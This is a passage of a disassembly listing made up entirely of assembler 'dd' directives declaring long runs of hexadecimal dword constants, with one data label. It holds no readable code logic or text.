		dd 6B4A8986h, 0BF68AC42h, 8882511Bh, 0D11DEDC4h, 4A0893BBh
		dd 68F00B29h, 96A495E1h, 0BDB1ABC6h, 5A23824h, 217DA461h
		dd 0E4288DEh, 0A820C8BEh, 86087795h, 12FB2CA8h,	3DB0E905h
		dd 8DC65440h, 5A1317FEh, 49BBDEF7h, 0F9778C7Ah,	58560AD3h
		dd 0F97F0C2Fh, 0E405BB1Ah, 4309A723h, 0BC387B4h, 58BD3E1Ch
		dd 165D3C04h, 76E1AFBh,	0A9F85080h, 315C1F07h, 89E91CABh
		dd 814E2872h, 5564B39Eh
		dd 0FAD284CAh, 6A151BCh, 583F2675h, 0AB1C251Bh,	0C7E27FFBh
		dd 0F9DFB942h, 73F102D3h, 0CD616A1Dh, 0ED8E44DEh, 0C7678663h
		dd 94BF5F54h, 1A89FB44h, 5C4C4D60h, 0CA84C7CDh,	0E8629D43h
		dd 14D24FA8h, 9EF0C8BFh, 6EADD94Ah, 525E1FD9h, 286EFEEAh
		dd 0EB3F0EDh, 289A6C5Ch, 0B20BF0F9h, 7802D30Ch,	26FEE090h
		dd 1E64B866h, 1946C338h, 3A41D901h, 892D6E08h, 250F3FFCh
		dd 78A912A3h, 0A34F7405h, 0E18544A4h, 5398F965h, 2F43A1FEh
		dd 0E8C00400h, 128C0402h, 0B821E5E9h, 0AA1E9EE0h, 405A10B2h
		dd 305FE650h, 750C124Bh, 171A06Dh, 8802DBAh, 215D5468h
		dd 0F03F8401h, 0D3AACAFAh, 0C0FCAC0h, 0FB012455h, 8008203Ah
		dd 4EE3E4D5h, 60E4D9FEh, 688034B4h, 0CC405E7Eh,	0F5FE5308h
		dd 0BB014D96h, 5C86615h, 0DD7FF360h, 0E2778BD5h, 0D688D8F1h
		dd 0D0652723h, 0A3AAD40Bh, 8337DCE1h, 0D1941609h, 0FE8B5319h
		dd 0C4FAC412h, 0D791C210h, 0E544CD5h, 30F22205h, 175C8C81h
		dd 70E4E560h, 509D867Dh, 32D5842Bh, 0E0873D6Fh,	4C88AC0h
		dd 74542627h, 95750C56h, 0D5B9EF3h, 30C59BACh, 5681636Eh
		dd 8115CFD0h, 0D15E7B13h, 10F000BAh, 312E1B45h,	111BAB1h
		dd 484E2920h, 668930B2h, 0F20DCBD7h, 0FF4A2590h, 99DF5ED8h
		dd 0AEED0072h, 29FAFDDDh, 78F4F5F9h, 0C5224B0Ch, 65F64E38h
		dd 0AF5C4DF8h, 0DB66DA6Dh, 7942A84Fh, 74FEF425h, 0A169CFD4h
		dd 0C4372E77h, 3CFB48B1h, 54AAB4Bh, 0A6FE2DBBh,	0F62D6CFFh
		dd 897BFA05h, 0E65CCE09h, 1F4D2DFEh, 45569118h,	0E91BD805h
		dd 3E2D2944h, 3609BB2Eh, 5FD3C00Dh, 91D94F68h, 1C85419h
		dd 62DD965Ah, 73122D6Dh, 5C368C32h, 0DE050326h,	26D9E601h
		dd 0D5203695h, 0EBFB0FEAh, 7522BFECh, 40FC7731h, 25020E28h
		dd 0E960186Fh, 97CD7885h, 7DE944D4h, 295CCC7Ah,	0EA0112A4h
		dd 112E2302h, 0DD0EDDB3h, 1FF51BA3h, 0DBD0C04h,	908033F6h
		dd 583FCFEBh, 5448C251h, 3EC4FF27h, 0F0747CA2h,	23B0DF2Fh
		dd 0F4BF716Ah, 35CF8581h, 40991D96h, 70543EA2h,	0C9BCA6E9h
		dd 695A592Dh, 0AA9B02DDh, 0CB680114h, 0D68C7F63h, 4651251h
		dd 72350201h, 1BF6DD03h, 586B4B00h, 4F12E940h, 7B58F7E7h
		dd 0F755225Fh, 1A921016h, 0FBF5881Fh, 813DD72Ch, 380B5D89h
		dd 9498EC4Fh, 345D9695h, 0BE4CDAF0h, 0E8DF751Fh, 0D5A07FE7h
		dd 60752DBAh, 0CB4A1338h, 7FC0AA84h, 76023425h,	63F2073Ah
		dd 0C0516043h, 0D956C3CAh, 9BE96D17h, 0A452FE82h, 10EC4682h
		dd 712E84E6h, 48AC922Eh, 90E3D5A5h, 6F641EE9h, 977267A2h
		dd 7A2D1D74h, 80F99F76h, 0F0AFA3ADh, 571EEA5Dh,	0D83DF8FCh
		dd 7B3E43D0h, 0FCF85A5Bh, 88888FE2h, 3E1AAF28h,	0BA78C260h
		dd 0CBEDC180h, 42E2115Eh, 0C99F71D5h, 0F5FADB84h, 0F8FCDC42h
		dd 438956B5h, 1E17DC17h, 0C9E6E828h, 0DC522C14h, 54C4B779h
		dd 0F36E7E16h, 0FAF909FAh, 72A7E1F1h, 979872C5h, 0E913DD34h
		dd 0D1EA255Fh, 0D668EFE8h, 9B8749C0h, 64B7FC95h, 0D9DE2119h
		dd 0C44AC3A7h, 0E9256DECh, 0D9CDE3C4h, 6B960B75h, 0BB9C49E3h
		dd 5138E001h, 0C884EAD1h, 72889120h, 4C246342h,	0E313139Ch
		dd 585033AFh, 0DBFDFCAAh, 0F43712E3h, 4613C169h, 0C907440Ah
		dd 130E1230h, 1D28F198h, 425A66F0h, 1316E99Ah, 7F5F5403h
		dd 0B8444170h, 2CF80B22h, 0B704302Fh, 3EE91613h, 978CD476h
		dd 0B29634E0h, 12A49059h, 39FA7BE4h, 0B3223057h, 7E3A1F25h
		dd 2C0671D7h, 685201A2h, 7329226Bh, 946BA5EDh, 0F9C71245h
		dd 0DFB9A7F4h, 6A61FCC2h, 89D73E53h, 51BBC345h,	3F7AA4F6h
		dd 0A2CED268h, 2FA0B58Dh, 6C5917B8h, 6AA20F64h,	29F10EA0h
		dd 6927E9D1h, 4AA8FE1Eh, 66E18236h, 5E5515D2h, 0E9185491h
		dd 0B28CCF7Eh, 88531C0Dh, 5BD984D3h, 757F815Ah,	0A4DB3CA1h
		dd 5BF200D7h, 0E88EB16Eh, 289647D5h, 31148C5Dh,	0F768D20Bh
		dd 6313FE63h, 0AB852938h, 0AA845EE3h, 5822FF50h, 4BE4DD02h
		dd 1363A21Dh, 6B15E987h, 0F1297A01h, 2508FAA0h,	8D5E055Eh
		dd 50A8E98Bh, 20BE0E4Ch, 2D0B1043h, 293CA0D7h, 4DB8E9F0h
		dd 0B105D98Fh, 87BE520h, 51129BD2h, 0B6052EFh, 1857CD5Ah
		dd 90C13876h, 0D80E20D0h, 0E0EDE8EEh, 3AEF184Eh, 75DA77EFh
		dd 0A137FFDBh, 0EBB4FC64h, 354F165Eh, 4586E21Fh, 0FF0C04E7h
		dd 0D107B72Dh, 0E4F41264h, 0B01B7E9Eh, 36E107B9h, 0C02AF569h
		dd 0BD98CBF1h, 0CA29570Ch, 0BCA03659h, 0E05E1638h, 724F6FE4h
		dd 0EE8674h, 2B90536h, 1241FC3h, 820A2E8h, 5D5E9E80h, 88023190h
		dd 0E9303B76h, 0C2E72F6Bh, 0F461EE58h, 61F9C952h, 3F632F71h
		dd 29770B2Ch, 46D95EF2h, 4AF3F462h, 52D675A5h, 0DE5D8DC0h
		dd 0FD214B1Fh, 5552279Ah, 5D69BAC5h, 81D0DF12h,	3A896812h
		dd 0FFC04CACh, 1E269CBh, 5C8AEB4Ch, 2FB64E35h, 56E6EA93h
		dd 792CEB93h, 52F668CFh, 4B17BCA1h, 16A3B92Bh, 0A834081Dh
		dd 212535B3h, 0FD6865C8h, 0B6B6184Ah, 2F0F0493h, 90BA30Fh
		dd 0F875164Ch, 327B0221h, 0D2E977FAh, 599DD258h, 52E6C54Fh
		dd 69A1AEBFh, 3A942D3Eh, 0B05BF12Eh, 0E91655EFh, 0C0356F35h
		dd 304C61EAh, 0EDD82B01h, 81EB4018h, 3555F305h,	0CA825845h
		dd 0B359DD0Ah, 0F537FC42h, 4ADE7922h, 36EC5D09h, 42EF8101h
		dd 160326Fh, 8EB88DAh, 7727E91Ch, 0E8B0EEE4h, 87132CE4h
		dd 0A2AE5A59h, 0E0112D9Ch, 78E780DFh, 131C5F75h, 0ACDBACAFh
		dd 12264FE9h, 0E08CFE79h, 70FE9D05h, 0C5BF2D13h, 0DF0BBA7Ah
		dd 0FF28297Ah, 0E9099047h, 2F4EF470h, 5859E4FCh, 89DED242h
		dd 2FA75E8Ah, 5BE96D7h,	571206F5h, 0B7A00E6Ah, 52B95FB0h
		dd 0CB4E616h, 0ED0C64C8h, 0DE880B37h, 0CAB4FCF5h, 42099795h
		dd 0CD88A7E5h, 29A63CE4h, 23D7AD7Fh, 0D951F665h, 0D5400B09h
		dd 95C4047h, 0F759E911h, 0AE44BD24h, 5F7D9DB2h,	840FA852h
		dd 2D00C81Fh, 2C122B04h, 7C850505h, 10FB5D87h, 0E90A071Ah
		dd 609F089Bh, 0AD06859h, 0FCB2A593h, 80745599h,	886A5CCBh
		dd 5603054Dh, 5EDB4FE9h, 18C4ACA0h, 0C5D13409h,	621DF228h
		dd 0B850ED76h, 15FA257h, 8AD41C6h, 0A103F69h, 19FC60A0h
		dd 0B50B5B37h, 64C6AE68h, 7FCE8BC9h, 0F5051582h, 8EF38AA0h
		dd 74586CFDh, 0E87320C5h, 4982EE57h, 11663F6h, 2E078D59h
		dd 65268EB1h, 93C4FCD7h, 3E0093BCh, 0EA891567h,	0C197295Dh
		dd 3965404Bh, 2634EF3Bh, 0D73AAE09h, 6A90A294h,	48AC905Eh
		dd 54E109DEh, 0F3FD9055h, 93E72584h, 5140A24Ah,	442D68BFh
		dd 0F343A019h, 6594468Fh, 0DC562501h, 0FB975EFDh, 0C98FC706h
		dd 2C966C5Fh, 0A5C097E9h, 30097AF0h, 5845BD20h,	111C1269h
		dd 6D41EF33h, 0D98FE906h, 0E8E3BB05h, 0F792C33Eh, 0BC2ACC8Ch
		dd 5D7B0597h, 5BB2F9FCh, 5703D6DEh, 97555366h, 6FE2BB41h
		dd 0F68FDDE2h, 70220492h, 30BCAA49h, 0AAA57151h, 0D289987Dh
		dd 8916CCD3h, 625AA286h, 0BE927AE2h, 834CFDA3h,	2265BB4Eh
		dd 34FF64EEh, 3BA9EBCFh, 4E37EBC0h, 292879FDh, 882A6D3h
		dd 0AF8D0C82h, 0C14A13F5h, 91BF07B0h, 0BF4B8A1Fh, 0B66CBADEh
		dd 8459BF5Ch, 0FCD3C9C2h, 0BA5240F3h, 7B0075ECh, 47FA870Fh
		dd 92D484E9h, 0EAE13F8Bh, 2433F17h, 425C1E7Dh, 54E0455h
		dd 103D8BEAh, 4D095CA0h, 81764368h, 7A40B960h, 0E92A093Ch
		dd 84C95AFBh, 62E82156h, 1FAE4B79h, 2990029h, 0A5E93EB0h
		dd 24BE8F4Bh
dword_4FD980	dd 24EDEE02h, 87205C7h,	20DB724Bh, 2C2D6E8Ch, 5A8F5EB2h
		dd 3F802E62h, 18491532h, 3498F90h, 23C303A3h, 559927Ah
		dd 76A8870Ch, 0E992EBA9h, 76827803h, 0D9C527ADh, 0B609C820h
		dd 0D89FE365h, 1BFBE642h, 2C68DAE9h, 0CC55609Ah, 0B8E4BDAh
		dd 318056D7h, 48BC050Eh, 0BE9D4ABAh, 2AE48064h,	2709910Bh
		dd 0F5AD9B7Eh, 0DF9DA31Ch, 0D25FD3A2h, 72B797EBh, 9D5EEF6Bh
		dd 0D716FC62h, 667FFC93h, 0EF6FD6BBh, 0F4ED92CBh, 307F39D6h
		dd 759A2904h, 0DD285816h, 7CE3DC09h, 0A706282h,	3E9BCCDFh
		dd 3C41058h, 0E781B9C0h, 0CB9E3C89h, 5842919Eh,	53C25975h
		dd 0D3FE6AC2h, 723C542Fh, 0AF6F53FDh, 3B70D3F0h, 0B2CAC80h
		dd 28960435h, 0F1932484h, 0E3162A76h, 0EB9F8B67h, 2495655Dh
		dd 6CF725B3h, 565732E6h, 8C71F2AAh, 4FB0FDE9h, 84A8E636h
		dd 690039EBh, 0DA2975D6h, 4842685Bh, 6D38466h, 2FDD5316h
		dd 5D093598h, 7531A2B1h, 81F79B07h, 82494E62h, 0B30AF10Ch
		dd 2210752Ch, 862DE953h, 81FA51D8h, 7111094Eh, 995A2052h
		dd 25214724h, 0FEF5D209h, 1DE1536Ah, 0C2857C5Eh, 55FEF410h
		dd 6B35FF99h, 0D75D390Bh, 0DEA75545h, 0FB29C5CEh, 0E90C94B6h
		dd 50428278h, 275FD5ECh, 17689320h, 2D459D73h, 0CB9552A8h
		dd 0DF2E91C2h, 1C518074h, 27551368h, 9077B4FFh,	35120259h
		dd 0EAE96AA9h, 0C9BEA0FFh, 58E70A33h, 1B30873Fh, 38BDBF16h
		dd 8144D806h, 0B00DB9EFh, 49C202Ch, 0DDF12125h,	5649DCE5h
		dd 0FB0245B7h, 9CD0F0A7h, 1005CB5Bh, 5F25FB70h,	6E3032FEh
		dd 24FE1CF2h, 13FA5238h, 8F6686EEh, 5D086CA0h, 0EC39F532h
		dd 2E750FABh, 6140BAC0h, 0D5F00BFBh, 40BF8E95h,	8137B259h
		dd 496B09CBh, 0A9813026h, 0DDECAFF2h, 6D5CD9E9h, 8555CFA6h
		dd 0EAC8CE69h, 0A2BA59C0h, 25311880h, 27B7014Bh, 0C81039EAh
		dd 5E68E954h, 0C26124A7h, 0B9D4AE96h, 4F52F7E9h, 1DC6E912h
		dd 0C0EB4197h, 0FAC58850h, 0A36BE1EBh, 0A0196ABh, 17AB3796h
		dd 4DCAD20h, 167C606h, 15E6AECDh, 0E168E618h, 0E217A6EAh
		dd 35AEB0A4h, 9E81BBC1h, 33488Ch, 0F9685500h, 5D574359h
		dd 15C1B80Fh, 0FD310B6Ch, 0E0C4D9ACh, 65400824h, 207AA202h
		dd 0E4A28174h, 0FFFED6DDh, 1B832168h, 218EC25h,	10514595h
		dd 9BDF59D8h, 0A9C80216h, 7F58A2EBh, 0CC70150h,	15557739h
		dd 6D4A1BEh, 58BFE208h,	0CCDEBD70h, 7313C66Ah, 5BCBE0B9h
		dd 0F8ADD047h, 23489F77h, 82824F64h, 9D13605h, 0D26B4804h
		dd 66FFBAE1h, 701F1D7Ch, 48A4AEC5h, 0B8772F08h,	0B560E9DAh
		dd 0BAB1464Bh, 0FA452F05h, 8D445BB5h, 18F8FD87h, 0D2EBEC74h
		dd 0D88AB4E2h, 7246813h, 0D950EA32h, 0ED2A497Fh, 0BDF42D29h
		dd 68EF8086h, 88531206h, 282A2CFEh, 63F0F34Fh, 0E7E04B48h
		dd 684C63D1h, 4A182DB4h, 372AE060h, 0D4B5397Ch,	7FC2F00h
		dd 82E39950h, 0D6EB8C0Eh, 0C1B2A4A0h, 5A1EB050h, 8CEB652h
		dd 8234C9F0h, 61F66035h, 0FCD8C0F9h, 94C25020h,	665E441Ch
		dd 398BBF12h, 0F61FD4ECh, 0CDD2E50Dh, 0AE208DB0h, 0FB215E2Ah
		dd 0DDD7795Eh, 0BAEA53EBh, 0FD0837CDh, 5FCAAACEh, 48608C62h
		dd 0DE002AF1h, 0CF21E3F9h, 0C9570AE9h, 66DDDACBh, 5B2D0F5Ah
		dd 0EAA17B19h, 746B92E9h, 302E7AFAh, 800922C3h,	0EF0D82CBh
		dd 3ABD0063h, 270A9929h, 9621F568h, 7DC53B97h, 0D6485582h
		dd 0EB7E251Dh, 0F44E57D2h, 40CAFB4Ah, 0D67EF85Bh, 63C88CFBh
		dd 2D161563h, 4B3B91F5h, 6AC2C87h, 2EF7AE6h, 2604133h
		dd 0D093C4E3h, 92480804h, 5FF2D3E9h, 0FE9BC99Eh, 1EC09E2Ch
		dd 215C00FFh, 41FA98E8h, 902C20F8h, 9491419h, 29026C16h
		dd 5F01895Fh, 0D42748CFh, 12CC62B8h, 59E5B8D7h,	0B7B4A055h
		dd 0BAB91AEh, 7F5C1C52h, 2BB247EFh, 0F5E83EE4h,	0DD93025Bh
		dd 42941C8Bh, 38177EA0h, 0F2F74082h, 58617FB9h,	58B24237h
		dd 50D4F1F7h, 59702968h, 72BC5E9Fh, 3F20BA52h, 0C15EBFF7h
		dd 0B7D65398h, 0B0D99D0Eh, 39C700C9h, 803CC11Ch, 0BF050A2Dh
		dd 9146843h, 4469D644h,	0B1E90509h, 0C0887E2Dh,	0D90B95D3h
		dd 0CDA66702h, 0F5F5BFE9h, 68957442h, 666DE827h, 0F80655F0h
		dd 0F27E554Bh, 591CC4C1h, 8BF9BA2Dh, 5BDC6918h,	0DB955FFAh
		dd 6C6E0069h, 0CA216AF4h, 0E2FFE925h, 0E552778Fh, 0EBD15B17h
		dd 64D98201h, 0C03F1E04h, 2C9D680Ch, 0F0E9093h,	317F443Eh
		dd 71098322h, 899A097h,	436D67CAh, 0E735FF00h, 5E53E913h
		dd 0C4708AF9h, 8807CCACh, 944774F9h, 0C7ADBBDEh, 0F2CBE386h
		dd 0CAEA594Ah, 0E90D9881h, 0A71B7ECh, 0D817484Ah, 266CC2B1h
		dd 556CA593h, 24C6FB60h, 3AFCB089h, 1EC8FAFDh, 4B4C1912h
		dd 2661C5BBh, 4C36FEEh,	7DD9B25Dh, 290202C7h, 0C16FBC27h
		dd 9380A203h, 0C161F3E6h, 0FE5E8776h, 7EE9BFC1h, 5825DB6Ch
		dd 4069C671h, 96578F22h, 0B784499Bh, 250116A5h,	31333460h
		dd 0DD00E26Ah, 6EBBE581h, 6B2F13h, 56D5F7DAh, 0CCB53168h
		dd 3C4B00ACh, 98BE51EFh, 145EFC47h, 0BB539F80h,	0B913172Eh
		dd 6D20BE0Eh, 0C1D5536h, 0AC05E976h, 0EB0BC1DFh, 0D6A08AE5h
		dd 0A1521635h, 9FCE6D08h, 2B6DE81Fh, 0C763D524h, 832029D9h
		dd 35B0B9E3h, 40AE8C65h, 366BF175h, 0E9130292h,	808C5F27h
		dd 0AABD5A4Dh, 7F807065h, 0B0C11275h, 0BDD09F1Ch, 0E95F0880h
		dd 0DADA972Fh, 405800B5h, 39DE355Ch, 2AEA46A6h,	0E1325A2Fh
		dd 95AC1377h, 0AC9A1264h, 49BC967Eh, 6474277Bh,	0C0050DDAh
		dd 40535421h, 185E0E80h, 0E97D1294h, 40E4B8D4h,	6F2461BAh
		dd 0E1026979h, 60B043D9h, 5EAE974h, 89A210F1h, 10EAE6CEh
		dd 0FB4F4E66h, 0C4C8F641h, 0D22AB63Fh, 0E4C0D895h, 8BD6EE71h
		dd 72B086BAh, 6417C22Ch, 87EF5D17h, 1133D7Eh, 0A5DFCBC5h
		dd 0E8AF09Ah, 8603E8C0h, 82D5F664h, 0BB00EC32h,	0B04F3BC1h
		dd 8100A06Eh, 57740BF5h, 0E5FF10E1h, 167FA72Ch,	2FCB0CCh
		dd 2AA54AEh, 7B6EFB29h,	0EC4724Ah, 0EE9259FDh, 0EBD704F2h
		dd 0FD569D0Bh, 8C8B87EFh, 4A65CED0h, 0CD45BF66h, 8117C9B1h
		dd 1948E4B7h, 0B209032Fh, 52F5715Fh, 5A04D9D7h,	68714FCCh
		dd 19AD1A4Fh, 0FE47EF8Eh, 5A30525Bh, 4A712E1h, 346172ABh
		dd 6BE3F1D5h, 5945E271h, 0B9028A65h, 0DF235170h, 4EE97560h
		dd 0F6E3034Eh, 0A1B45081h, 0E9315C53h, 69EB4024h, 1839A08Bh
		dd 94F9B76Ch, 0C4628821h, 28BDBD16h, 46C8110h, 51BE3D50h
		dd 5149DBEh, 0ADAC060Ch, 0C34F99B6h, 593ED3F9h,	348D2212h
		dd 82B8AEFFh, 1EE86BB9h, 65BFE9F1h, 45F520D9h, 0CD25B59Ch
		dd 0A151A74Bh, 6EBD5580h, 9875A82Bh, 56FC0040h,	0FD010864h
		dd 806086E9h, 6A5EEEC5h, 0EBA048A3h, 0CA2FF23Fh, 70892674h
		dd 8C11F9C8h, 0D685A9B3h, 0F2095A17h, 0C7B2C7FCh, 677D07E2h
		dd 49B90BD5h, 0CC44E3F6h, 19444704h, 0E4E2E865h, 0CC3D35F8h
		dd 0B506EB81h, 5B727AFh, 70460BE7h, 0AE888075h,	2A503D64h
		dd 6002B2A2h, 0FB01F5EDh, 0B2AFB5Fh, 0B0FDF23Bh, 8A48C440h
		dd 69187457h, 0EAE25355h, 0B0DF2F58h, 0FE3F8C5Ah, 806CF06Fh
		dd 9A7E7AFBh, 0C88E7697h, 2228340Ch, 0F1775B1Ch, 0FCE9C206h
		dd 348939E9h, 0D77846EFh, 21AAE69Dh, 6CA67A14h,	931C77E2h
		dd 0E285C97Dh, 1EB9F93Bh, 0DB8BD0F6h, 0CA9F489Dh, 0AA2C3F8Fh
		dd 212EF4Ch, 5C230F42h,	8310DA64h, 5F3B0B21h, 6DD6AEC3h
		dd 0E1AEED45h, 82066BB7h
		dd 791B383Ch, 4B567EEBh, 78DFA7Bh, 0B6650F6h, 30B25266h
		dd 208922DEh, 0C6ED3E1h, 8826E980h, 0F077CE72h,	0D9C9F131h
		dd 9A20E3C1h, 0CD2C5F48h, 6F93C57h, 551E6EAFh, 0C560486h
		dd 0D14B5D15h, 6E69C934h, 38B2BE35h, 91584A76h,	65F6371Ch
		dd 257A4B48h, 0E938A201h, 4116E9C5h, 0B25826D8h, 34CA00E6h
		dd 2D4853C3h, 0E2090D67h, 0E354E935h, 3A84D0E7h, 0D6059C6h
		dd 0C0C0BD3Fh, 604E730h, 0FACFFE07h, 72156484h,	88F3EF31h
		dd 6B7E5A2Dh, 35E85751h, 34AB0469h, 0BA7AFAE9h,	0D96BDB33h
		dd 647219A0h, 0D708E900h, 0C829920Fh, 64BA595Eh, 0BB3EFEFh
		dd 0F4A674C4h, 41176EFDh, 13FE1F02h, 0E2B66770h, 0BB5ADFFDh
		dd 99E36C4Eh, 68585F02h, 5748307Bh, 4082C8CFh, 2D4ABF62h
		dd 30D41434h, 66A51230h, 3135202Bh, 52D2C4A0h, 0DD64EF2Dh
		dd 10CE9D84h, 3A69580Bh, 0C8078BC6h, 4266DEB2h,	0BFE2EA01h
		dd 2F047655h, 0F469A871h, 65668966h, 2E9648F1h,	16492154h
		dd 670030A3h, 0F028392Ch, 1369E904h, 48E1679Eh,	0D249BAh
		dd 685653AFh, 247B6B01h, 8DE95E2Ch, 0BE81002Eh,	48AC658Ch
		dd 0E7E68105h, 0B0C0BA34h, 0F6194DCEh, 5F6F81Bh, 2F3301A7h
		dd 0C300AE21h, 0A37B2CC5h, 5D59012h, 88F20F7h, 0CD94FE09h
		dd 0A6F24C81h, 0ECD3F07Fh, 79B5BB92h, 0B88DC412h, 16355B9Fh
		dd 644521EEh, 0F36800C5h, 0DB18B527h, 0F8040D17h, 0B856E975h
		dd 0A65139D8h, 0F3AE2D31h, 0D3DCAD98h, 0B7F78880h, 49432CEAh
		dd 90E3EAFDh, 6221E9C3h, 0E3C32102h, 57281815h,	8802058h
		dd 0D797B168h, 0EF7D9429h, 90149341h, 0F4A0E9F9h, 0DDBE60C0h
		dd 9808E144h, 0AB336F31h, 670BEB12h, 0BC6BF137h, 73DE902Dh
		dd 27B7ED94h, 1E9627Bh,	7E288BC3h, 39E5E740h, 0AF0D4F78h
		dd 74DE59D2h, 8E2C095Dh, 7FBCC8Ah, 0CB1234C8h, 5419E40h
		dd 5B83B395h, 0D368AFC5h, 67713BBh, 2350EE5Ah, 0BC513108h
		dd 6601F299h, 6898DFF7h, 789C3ACDh, 5AC46BE3h, 7C62EFE2h
		dd 215B2614h, 151637DEh, 3DEA3BC4h, 4FA2F9Fh, 0F9D6E149h
		dd 1BAD03B3h, 0D88147DEh, 5E55654Ah, 9B33B070h,	9CA560Ch
		dd 9EDDECDh, 7FFD77DBh,	949BB250h, 0A05A25BCh, 0B977037Bh
		dd 0AA405B37h, 582385Dh, 0FDEEF54Bh, 11E9B781h,	1E6724CEh
		dd 9ECC4D5Bh, 95CD7CBDh, 681518CEh, 58142198h, 3E912DFh
		dd 0B71C13EFh, 64FA4B37h, 0D2A7EAE7h, 0A338B04Bh, 48446201h
		dd 7C8FBA52h, 0C2EC04F3h, 0C56320D0h, 0C694BE0Fh, 446BCEBEh
		dd 0A85EAEBCh, 0C9F39E89h, 0DEB1C38Eh, 5CFCB0Ch, 0FA506893h
		dd 690C5E29h, 0E830EDDAh, 0ACEF6BD9h, 59E40F46h, 18A9E7D1h
		dd 0F1E855E3h, 5B305E9Ch, 6C870C78h, 410240BFh,	1E7C53E0h
		dd 477EC10Eh, 89B877B1h, 0CBF73112h, 0C0CF0259h, 80683D70h
		dd 0F92377E6h, 0DF7F86Dh, 1A2E1D6Bh, 4A653CDAh,	948AD5FBh
		dd 5E9E024Ch, 8B60AB18h, 40B817E3h, 5247DCC5h, 0F50E34AAh
		dd 0ECCCF7CFh, 0C2FE7522h, 80DBFE56h, 0CB68F1F7h, 9C539D27h
		dd 0DA39E39Ah, 8229593Ah, 9D124A3Fh, 5661922Eh,	5E72DC7Ah
		dd 1F1051Dh, 0E025B1ACh, 0FC28F52Dh, 54709543h,	65BDDEBDh
		dd 82CEB2D1h, 0E9B3EB80h, 897CB8BAh, 816CBE5Fh,	58DE4CBDh
		dd 13097E12h, 0AD0E028Fh, 0E7C1DA35h, 3685E8F9h, 53EA49C0h
		dd 9070342Eh, 2A2103C8h, 9CE959F8h, 687E22EEh, 0F52E2055h
		dd 990347Dh, 0EF3B83B5h, 582B1082h, 44BDC065h, 0B06ED572h
		dd 0FBFA0954h, 0E026ED2Bh, 0B9D4858h, 5E31D5BAh, 80B35530h
		dd 481399CAh, 9D150B7h,	2BE74A54h, 768C125Ch, 0BC7FF0Ah
		dd 0FA0830DDh, 0C25292FDh, 80EADF1Ah, 52BAF81h,	0E2BB30B5h
		dd 0B69C085Ch, 0F4024A18h, 0C77CC954h, 5998BB7Fh, 57AE8E6h
		dd 6F5A6B70h, 11B144BAh, 0C6FE0457h, 0F4889AC1h, 0F9B5B13Eh
		dd 361E2F2Bh, 9FB8FA92h, 7AF45A31h, 15532E1h, 40AB3CFEh
		dd 0A2F5C509h, 3142046Eh, 0CAA3B2C6h, 74ADBB4Ah, 0BB1E1DD8h
		dd 0E31BFF6h, 8D21DE31h, 163CFEC1h, 1D5104B5h, 4AC1063h
		dd 307E5C84h, 582CACEBh, 38A3009Ch, 53E9EBDDh, 0AF3BE115h
		dd 5E21262Ch, 4A9CCE12h, 290527B8h, 0A0B9E9DAh,	0EA9F3088h
		dd 8A5B7771h, 0E495E985h, 0BD80A9BCh, 32881A5Ch, 18CBBF04h
		dd 0A9EA0CC1h, 0A8B99637h, 62400F27h, 8BB4EBD1h, 0FC7C3142h
		dd 0DB68420Ah, 0C19B1BF5h, 0DFC223A1h, 32ADE753h, 0FE3441EEh
		dd 0F823E3F4h, 2E1371CBh, 33D76CAh, 68121EC5h, 5F331804h
		dd 0EA811538h, 0CB94E26Ch, 60B7E4C1h, 221388C9h, 0D1F77301h
		dd 0B3DFE941h, 2C354F7Ah, 42C0AF06h, 0C3835A00h, 0A5F38101h
		dd 0BF647641h, 0E9050179h, 0B7D9BF63h, 0BD5A403Ch, 44D7C1B4h
		dd 0A88E3DDEh, 0EE3361A4h, 31DBB601h, 7820271Bh, 85111365h
		dd 7813AB4Fh, 98F7E1C3h, 3A7CAC0Dh, 198B1F81h, 0A500C433h
		dd 31631042h, 0B9FBE917h, 0E1D5D520h, 0BBD35F89h, 2E07502h
		dd 0DA785F17h, 8A1BE927h, 0FC1E943Fh, 1022EB0Dh, 0D296776Ah
		dd 0E6FD56EDh, 0CA084E12h, 0B17C6422h, 0E8096805h, 0AC3D4E14h
		dd 93B5E27Ah, 0F145B41Eh, 0A252A6E9h, 0D109B3E8h, 1386802Fh
		dd 53A276E3h, 0CD09719Ah, 83776742h, 111F557Eh,	2D47EA83h
		dd 3E96F524h, 2019D895h, 9B904027h, 0BAB58CF6h,	97FDCF5h
		dd 7F563BEBh, 0B82D70C9h, 0D22851C0h, 0BDA00A30h, 30EB79DAh
		dd 0E460B440h, 0D5E97418h, 685FC01Eh, 416923C7h, 4CCF069Ah
		dd 8DAFF7DFh, 1C1C6AB5h, 1481002h, 8C988CEh, 7040E90Bh
		dd 0D0282C12h, 0A11318B2h, 793D7F12h, 0DA421367h, 169362E4h
		dd 0EDACF558h, 0B2FD9C58h, 0A0527EFCh, 7A4125FDh, 4039136Eh
		dd 10DBC0Dh, 75C63502h,	0F23B2EBEh, 0CF1296E8h,	0AAD3E7ECh
		dd 0E917ACDFh, 76B6F9A8h, 2E133F5Ah, 0E1448916h, 62A2BF96h
		dd 0DF25B21Dh, 2A9309C2h, 529F87F3h, 15E12516h,	745AB02Eh
		dd 81566C4Fh, 0FA5334BDh, 44DCC589h, 4ED035E3h,	0A7ECFC78h
		dd 9BB6E034h, 67E22618h, 72053CF5h, 0EDD122D4h,	7C60B9F8h
		dd 300C62A6h, 1A406ADEh, 0EE8927BFh, 85565F5Dh,	1325AD94h
		dd 0F8C49BE9h, 0E9B1F1BBh, 42109FA3h, 5E616689h, 0BFD7508Eh
		dd 0D76C8B82h, 0EBD5F7E2h, 2CE1FB47h, 25B95FC8h, 0F030E257h
		dd 2A9F9847h, 90C0C1E9h, 63EA1DADh, 5C6013CDh, 6FCE735h
		dd 0BE7AA902h, 3DECC001h, 0AB53D2C9h, 17470F18h, 94F9B541h
		dd 0DEF21389h, 0E3348968h, 2C043A7Ah, 58C128B9h, 2F2AFAC3h
		dd 945CFBC3h, 4715DF25h, 7D52D328h, 1BB605EBh, 0BE025037h
		dd 82A6F945h, 209110FCh, 0FE83D9EEh, 342D5D02h,	7D1CC819h
		dd 702B7C2h, 8168315Eh,	2980C565h, 0C6D2C9EEh, 7E35D249h
		dd 0E9EB4AB5h, 0A82B877Fh, 5DD1A45Ah, 0CF2E3A54h, 0AF1C5B7Bh
		dd 20337745h, 0A09517EBh, 53409E28h, 0FE009D40h, 0DCCE2905h
		dd 0AF554E3Fh, 0B8EC010Ah, 0F4E3214Ch, 58C6FB82h, 88584E1Dh
		dd 0E6BEF6C9h, 0C9BE592Dh, 0D08B34D5h, 8C12F043h, 0D38AF869h
